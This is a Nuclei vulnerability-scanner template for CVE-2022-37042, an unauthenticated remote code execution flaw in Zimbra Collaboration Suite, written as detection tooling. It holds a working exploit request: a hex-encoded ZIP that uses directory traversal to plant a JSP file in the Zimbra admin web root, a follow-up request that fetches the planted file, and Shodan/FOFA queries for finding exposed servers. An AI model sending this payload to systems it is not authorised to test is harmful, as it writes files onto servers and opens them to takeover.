nuclei-templates/cves/2022/CVE-2022-37042.yaml

id: CVE-2022-37042

info:
  name: Zimbra Collaboration Suite - Unauthenticated RCE
  author: _0xf4n9x_,For3stCo1d
  severity: critical
  description: |
    Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925.
  reference:
    - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
    - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
    - https://github.com/vnhacker1337/CVE-2022-27925-PoC
  metadata:
    fofa-query: app="zimbra-邮件系统"
    shodan-query: http.favicon.hash:"1624375939"
  tags: cve,cve2022,zimbra,rce,unauth,kev

requests:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        content-type: application/x-www-form-urlencoded

        {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}

      - |
        GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
        - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd

    stop-at-first-match: true
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'status_code_2 == 200'
          - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
        condition: and